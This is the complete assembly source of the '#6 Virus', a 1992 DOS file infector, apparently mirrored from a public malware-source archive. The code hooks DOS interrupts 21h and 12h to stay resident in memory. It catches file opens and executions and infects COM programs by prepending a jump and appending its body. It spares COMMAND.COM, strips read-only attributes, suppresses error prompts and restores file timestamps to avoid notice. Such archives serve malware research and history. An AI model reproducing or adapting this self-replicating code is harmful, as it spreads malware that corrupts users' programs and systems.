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https://github.com/vxunderground/MalwareSourceCode.git
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326 lines
6.3 KiB
NASM
326 lines
6.3 KiB
NASM
;*****************************************************************************
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; #6 Virus *
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; *
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; Assembled with Tasm 2.5 *
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; (c) 1992 Trident/Dark Helmet, The Netherlands *
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; *
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; The author(s) take(s) no responsibility for any damaged caused by *
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; this virus. *
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;*****************************************************************************
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.RADIX 16
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virus SEGMENT
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MODEL SMALL
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ASSUME cs:virus, ds:virus, es:virus
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ORG 100h
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len EQU OFFSET last - begin
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dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of
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; viruscode.
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begin: CALL start ; make a call to
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; push the IP on the
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; stack.
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start: POP bp ; get the IP of the
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; stack.
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SUB bp,108h ; adjust BP (=IP)
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; for offset of DATA.
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restore: MOV di,0100h ; copy the original
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LEA si,ds:[carrier_begin+bp] ; host begin code back.
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MOV cx,05h
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REP MOVSB
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check: MOV ah,0a0h ; check if virus
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INT 21h ; allready resident.
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CMP ax,8654h
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JE end_virus
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memory: MOV ax,cs ; DS = Memory Control
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DEC ax ; Blok (MCB).
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MOV ds,ax
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CMP BYTE PTR ds:[0000],5ah ; check first byte if
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JNE abort ; last MCB.
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MOV ax,ds:[0003] ; decrease memory size.
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SUB ax,40
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MOV ds:[0003],AX
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PUSH cs ; restore ds.
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POP ds
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install: MOV bx,ax ; ES point where
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MOV ax,es ; to copy virus in
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ADD ax,bx ; memory.
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MOV es,ax
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MOV cx,len ; copy virus to
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LEA si,ds:[begin+bp] ; memory.
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LEA di,es:0105 ; offset = 105
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REP MOVSB
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MOV [virus_segment+bp],es ; store virus_segment
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PUSH cs ; restore es
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POP es
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hook_vectors: CLI
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MOV ax,3521h ; hook int 21h
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INT 21h
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MOV ds,[virus_segment+bp]
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MOV old_21h,bx
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MOV old_21h+2,es
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MOV dx,offset main_virus
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MOV ax,2521h
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INT 21h
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MOV ax,3512h ; hook int 12h
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INT 21h
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MOV old_12h,bx
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MOV old_12h+2,es
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MOV dx,offset new_12h
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MOV ax,2512h
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INT 21h
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STI
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abort: MOV ax,cs ; restore ds,es
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MOV ds,ax
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MOV es,ax
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end_virus: MOV bx,0100h ; jump to begin host
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PUSH bx
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XOR bx,bx
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XOR bp,bp
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XOR ax,ax
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XOR cx,cx
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RET
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;*****************************************************************************
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; *
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; This part will intercept the interuptvectors and copy itself to *
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; other host programs *
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; *
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;*****************************************************************************
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main_virus: PUSHF
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CMP ah,0a0h ; check if virus calls
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JNE new_21h ; and return id.
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MOV ax,8654h
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POPF
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IRET
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new_21h: PUSH ds ; new interupt 21
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PUSH es ; routine
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PUSH di
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PUSH si
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PUSH ax
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PUSH bx
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PUSH cx
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PUSH dx
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PUSH sp
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PUSH bp
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check_open: CMP ah,3dh ; check if a file is
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JNE check_exec ; being opened
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JMP chk_com
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check_exec: CMP ax,04b00h ; check if a file is
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JNE continu ; executed
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JMP chk_com
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continu: POP bp
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POP sp
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POP dx ; continu with
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POP cx ; interrupt
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POP bx
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POP ax
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POP si
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POP di
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POP es
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POP ds
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POPF
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JMP DWORD PTR cs:[old_21h]
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chk_com: MOV cs:[name_seg],ds
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MOV cs:[name_off],dx
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CLD ; check if extension
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MOV di,dx ; is COM file
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PUSH ds
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POP es
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MOV al,'.'
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REPNE SCASB
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CMP WORD PTR es:[di],'OC'
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JNE continu
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CMP WORD PTR es:[di+2],'M'
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JNE continu
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CMP WORD PTR es:[di-7],'MO' ; Check for
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JNE error ; COMMAND.COM
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CMP WORD PTR es:[di-5],'AM'
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JNE error
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CMP WORD PTR es:[di-3],'DN'
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JE continu
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error: CALL int24h ; take care of error
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; messages
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CALL set_atribute ; set atribute for
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; writing
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open_file: MOV ds,cs:[name_seg] ; open file
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MOV dx,cs:[name_off]
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MOV ax,3d02h
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CALL do_int21h
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JC close_file
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PUSH cs
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POP ds
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MOV [handle],ax
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MOV bx,ax
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CALL get_date
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check_infect: PUSH CS ; check if file
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POP DS ; already infect
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MOV BX,[handle]
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MOV ah,3fh
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MOV cx,05h
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LEA dx,[carrier_begin]
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CALL do_int21h
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MOV al, BYTE PTR [carrier_begin]+3 ; look for
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MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's
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CMP ax,[initials]
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JE save_date
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get_lenght: MOV ax,4200h
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CALL move_pointer
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MOV ax,4202h
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CALL move_pointer
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SUB AX,03h
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MOV [lenght_file],ax
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CALL write_jmp ; write jump
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; instruction.
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CALL write_virus ; write virus
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; body.
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save_date: PUSH CS
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POP DS
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MOV bx,[handle]
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MOV dx,[date]
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MOV cx,[time]
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MOV ax,5701h
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CALL do_int21h
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close_file: MOV bx,[handle] ; close file
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MOV ah,3eh
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CALL do_int21h
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restore_int24h: MOV dx,cs:[old_24h] ; restore int24
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MOV ds,cs:[old_24h+2] ; for critical
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MOV ax,2524h ; error handling
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CALL do_int21h
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JMP continu
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new_24h: MOV al,3
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IRET
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new_12h: JMP DWORD PTR cs:[old_12h]
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SUB ax,50
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IRET
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;*****************************************************************************
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move_pointer: PUSH cs
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POP ds
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MOV bx,[handle]
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XOR cx,cx
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XOR dx,dx
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CALL do_int21h
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RET
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do_int21h: PUSHF
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CALL DWORD PTR cs:[old_21h]
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RET
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write_jmp: PUSH CS
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POP DS
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MOV ax,4200h ; write jump
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CALL move_pointer ; instruction
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MOV ah,40h
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MOV cx,01h
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LEA dx,[jump]
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CALL do_int21h
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MOV ah,40h ; write offset of
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MOV cx,02h ; jump
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LEA dx,[lenght_file]
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CALL do_int21h
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MOV ah,40h ; write mark for
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MOV cx,02h ; infection
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LEA dx,[initials]
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CALL do_int21h
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RET
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write_virus: PUSH CS
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POP DS
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MOV ax,4202h ; write main
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CALL move_pointer ; virus body
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MOV ah,40 ; at end of
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MOV cx,len ; program
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MOV dx,105h
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CALL do_int21h
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RET
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get_date: MOV ax,5700h
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CALL do_int21h
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PUSH cs
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POP ds
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MOV [date],dx
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MOV [time],cx
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RET
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int24h: MOV ax,3524h
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CALL do_int21h
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MOV cs:[old_24h],bx
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MOV cs:[old_24h+2],es
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MOV dx,offset new_24h
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PUSH CS
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POP DS
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MOV AX,2524h
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CALL do_int21h
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RET
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set_atribute: MOV ax,4300h ; get atribute
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MOV ds,cs:[name_seg]
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MOV dx,cs:[name_off]
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CALL do_int21h
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AND cl,0feh ; set atribute
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MOV ax,4301h
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CALL do_int21h
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RET
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;*****************************************************************************
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text db '#6 Virus, Trident/The Netherlands 1992'
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old_12h dw 00h,00h
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old_21h dw 00h,00h
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old_24h dw 00h,00h
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carrier_begin db 090h,0cdh,020h,086h,054h
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jump db 0e9h
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name_seg dw ?
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name_off dw ?
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virus_segment dw ?
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handle dw ?
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lenght_file dw ?
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date dw ?
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time dw ?
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initials dw 5486h
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last db 090h
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virus ends
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end dummy
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